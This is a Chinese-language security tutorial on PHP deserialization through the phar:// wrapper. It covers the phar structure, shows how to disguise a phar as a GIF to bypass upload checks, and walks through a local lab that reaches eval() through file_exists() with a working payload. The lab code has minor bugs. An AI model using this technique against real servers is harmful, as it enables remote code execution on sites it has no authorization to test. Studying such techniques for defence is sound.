反序列化之phar://
前言
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但是在Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,扩展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
原理分析
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
, zlib://
或php://
。
例如常见的:
include('php://filter/read=convert.base64-encode/resource=xx.php');
include('data://text/plain;base64,xxxxxx');
phar://
也是流包装的一种。
phar文件结构
phar文件由四部分构成:
1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上诉攻击手法最核心的地方。
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
demo测试
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php:
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$o = new TestObject();
$0 -> data = 'alalal';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问后,会生成一个phar.phar在当前目录下:
用winhex打开:
可以看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,PHP一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:
php_un.php
<?php
class TestObject {
function __destruct() {
echo $this -> data;
}
}
include('phar://phar.phar');
?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来”人畜无害”的函数也可能变得”暗藏杀机”,极大的扩展了攻击面。
将phar伪造成其他格式的文件
在前面分析phar文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切的说是__HALT_COMPILER();?>
这段代码,对前面的内容或后缀名是没有要求的。那么我们就可以通过添加任意文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER()?>'); //设置stub,添加GIF文件头
$phar->addFromString('test.txt', 'test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'alalal';
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测。
利用条件
1.phar文件要能够上传到服务器端
如:file_exists()
, fopen()
, file_get_contents()
, file()
等文件操作的函数。
2.要有可用的魔术方法作为”跳板”
3.文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤
漏洞验证
环境准备
upload_file.php:后端检测文件上传,文件类型是否为
gif
,文件后缀名是否为gif
。upload_file.html:文件上传表单。
file_un.php:存在
file_exists()
,并且存在__destruct()
。
文件内容
upload_file.php:
<?php
if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))=='gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if(file_exists("upload_file/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . "already exists.";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/." . $_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
} else {
echo "Invalid file, you can only upload gif";
}
?>
upload_file.html:
<!DOCTYPE html>
<html>
<title>
<meta charset="utf-8">
<title>phar</title>
</title>
<body>
<form action="http://127.0.0.1/php_serialize/leak/upload_file.php" methon="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" name="Upload"/>
</form>
</body>
</html>
file_un.php:
<?php
$filename=$_GET['filename'];
class AnyClass {
var $output = 'echo "ok";';
function __destruct() {
eval($this -> output);
}
}
file_exists($filename);
?>
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a
,然后我们访问这个php文件后,生成了phar.phar
,修改后缀为gif
,上传到服务器,然后利用file_exists,使用phar://
执行代码。
构造payload
eval.php:
<?php
class AnyClass {
var $output = 'echo "ok";';
function __destruct() {
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$object = new AnyClass();
$object->output='phpinfo();';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
访问eval.php,会在当前目录生成phar.phar
,然后修改其后缀为gif
。
然后将其上传,文件会上传到upload_file目录下:
然后利用file_un.php文件,payload:
filename=phar://upload_file/phar.gif
参考文章:—->Hu3sky1
—->seaii@知道创宇404实验室